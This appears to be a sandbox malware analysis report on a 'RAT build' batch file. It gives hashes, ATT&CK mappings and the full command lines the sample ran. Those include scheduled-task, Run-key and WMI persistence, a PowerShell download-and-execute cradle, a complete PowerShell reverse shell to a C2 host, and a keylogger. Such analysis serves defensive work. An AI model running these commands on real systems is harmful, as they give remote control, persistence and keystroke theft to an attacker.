11e57c8e401a43f04efe0605dfef6a56a8539698200cd9e9a83597ce0147ba30

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:38

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General

Target
rat_build_241770_014641.bat
Size 4KB
Sample260529-b2ejrag16t
SHA256 11e57c8e401a43f04efe0605dfef6a56a8539698200cd9e9a83597ce0147ba30
MD5 de0f107adce5a4c537eebe3a99250f1f
SHA1 f099fa62b06a6059ea312cfcfcbc414cc2a60c98
SHA512 62134a998fbd8466daf6307f46cedc70baa552ab38d87faf9a7fafec768b8a6ce4c7cbf0acd5983938fffe0bb55f52d9d5454c11adcc2af6714a9b3bb952f53e
SSDEEP 96:gPIYwWKpXGcot/lTvhMfJODKM+cjJ/8UU0TsOLglVchdmPiFgZk8mvlo1HI:gP7KpXGNlT0JOPTvsOLjdmPiFgkHliI
TLSH
T187A11923975B702089B07A54D9323C9E5B5CC9FB03C6D98DEF0A8CD40A5DE47A52D2EB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_241770.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
376	powershell.exe
3784	powershell.exe
3180	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_241770 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_241770.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1936	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3236	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3960	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4004	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
376	powershell.exe
376	powershell.exe
376	powershell.exe
3784	powershell.exe
3784	powershell.exe
3784	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3372	WMIC.exe
Token: SeSecurityPrivilege	3372	WMIC.exe
Token: SeTakeOwnershipPrivilege	3372	WMIC.exe
Token: SeLoadDriverPrivilege	3372	WMIC.exe
Token: SeSystemProfilePrivilege	3372	WMIC.exe
Token: SeSystemtimePrivilege	3372	WMIC.exe
Token: SeProfSingleProcessPrivilege	3372	WMIC.exe
Token: SeIncBasePriorityPrivilege	3372	WMIC.exe
Token: SeCreatePagefilePrivilege	3372	WMIC.exe
Token: SeBackupPrivilege	3372	WMIC.exe
Token: SeRestorePrivilege	3372	WMIC.exe
Token: SeShutdownPrivilege	3372	WMIC.exe
Token: SeDebugPrivilege	3372	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3372	WMIC.exe
Token: SeRemoteShutdownPrivilege	3372	WMIC.exe
Token: SeUndockPrivilege	3372	WMIC.exe
Token: SeManageVolumePrivilege	3372	WMIC.exe
Token: 33	3372	WMIC.exe
Token: 34	3372	WMIC.exe
Token: 35	3372	WMIC.exe
Token: 36	3372	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3372	WMIC.exe
Token: SeSecurityPrivilege	3372	WMIC.exe
Token: SeTakeOwnershipPrivilege	3372	WMIC.exe
Token: SeLoadDriverPrivilege	3372	WMIC.exe
Token: SeSystemProfilePrivilege	3372	WMIC.exe
Token: SeSystemtimePrivilege	3372	WMIC.exe
Token: SeProfSingleProcessPrivilege	3372	WMIC.exe
Token: SeIncBasePriorityPrivilege	3372	WMIC.exe
Token: SeCreatePagefilePrivilege	3372	WMIC.exe
Token: SeBackupPrivilege	3372	WMIC.exe
Token: SeRestorePrivilege	3372	WMIC.exe
Token: SeShutdownPrivilege	3372	WMIC.exe
Token: SeDebugPrivilege	3372	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3372	WMIC.exe
Token: SeRemoteShutdownPrivilege	3372	WMIC.exe
Token: SeUndockPrivilege	3372	WMIC.exe
Token: SeManageVolumePrivilege	3372	WMIC.exe
Token: 33	3372	WMIC.exe
Token: 34	3372	WMIC.exe
Token: 35	3372	WMIC.exe
Token: 36	3372	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4840	WMIC.exe
Token: SeSecurityPrivilege	4840	WMIC.exe
Token: SeTakeOwnershipPrivilege	4840	WMIC.exe
Token: SeLoadDriverPrivilege	4840	WMIC.exe
Token: SeSystemProfilePrivilege	4840	WMIC.exe
Token: SeSystemtimePrivilege	4840	WMIC.exe
Token: SeProfSingleProcessPrivilege	4840	WMIC.exe
Token: SeIncBasePriorityPrivilege	4840	WMIC.exe
Token: SeCreatePagefilePrivilege	4840	WMIC.exe
Token: SeBackupPrivilege	4840	WMIC.exe
Token: SeRestorePrivilege	4840	WMIC.exe
Token: SeShutdownPrivilege	4840	WMIC.exe
Token: SeDebugPrivilege	4840	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4840	WMIC.exe
Token: SeRemoteShutdownPrivilege	4840	WMIC.exe
Token: SeUndockPrivilege	4840	WMIC.exe
Token: SeManageVolumePrivilege	4840	WMIC.exe
Token: 33	4840	WMIC.exe
Token: 34	4840	WMIC.exe
Token: 35	4840	WMIC.exe
Token: 36	4840	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4840	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3668 wrote to memory of 4004	3668	cmd.exe	88
PID 3668 wrote to memory of 3960	3668	cmd.exe	89
PID 3668 wrote to memory of 3372	3668	cmd.exe	90
PID 3668 wrote to memory of 4840	3668	cmd.exe	91
PID 3668 wrote to memory of 4204	3668	cmd.exe	92
PID 3668 wrote to memory of 3236	3668	cmd.exe	106
PID 3668 wrote to memory of 1936	3668	cmd.exe	111
PID 3668 wrote to memory of 376	3668	cmd.exe	112
PID 3668 wrote to memory of 3784	3668	cmd.exe	113
PID 3668 wrote to memory of 3180	3668	cmd.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_241770_014641.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3668
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_241770" /tr "C:\Users\Admin\AppData\Local\Temp\_241770.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4004
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_241770" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_241770.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3960
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_241770", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3372
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_241770", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_241770.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4840
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_241770.txt
  2⤵
  PID:4204
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3236
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_241770.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3180

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9b6a4d854570f5a8e834cca39f07fb0cea215be79ba3ab3a81c603fe1cd0b82e
MD5 14dbb48644b4a2c4f60a966a8358c345
SHA1 a19ca95081815b781e0e177e935d76493f0765e7
SHA512 5d75736b24195bf071dc4dbee37c34272380d1cafdd4eaa584c74ce8054c9fe18c4e8e45ac96aaa42aa3714968e4f4257169d3c6ebebee6e4f2b5934ed16a537
TLSH
T1B3117627F39CC921CC96153A409DAC1172B683DB81AEDF9F6FC4D214A07F988CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 313da17856e2ae91e1409387dce6ca31868ff2a27e0feb02c6036e2db6c34a1d
MD5 c6e8be2f453d384e25f2e6b9b89ed96a
SHA1 13fee81170fa1781774bba6bf75dac6e7de5ec49
SHA512 4f1efc4fa9c7f2d44472fa2b7257b631e5d96d1ceaabec6d96b64a2aba9dd79cf1aa027d8f2ae65883abe0cf933d2b86a76b1b1cfdae589f1160e9ff99bb9030
TLSH
T11F115727B39C89A1CC96153A409D9C1172B683DB409EDEDF6BC0D214A1BF584CB611A0
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_e1vcz3y3.egu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e1vcz3y3.egu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/376-3-0x00000221CA6F0000-0x00000221CA712000-memory.dmp

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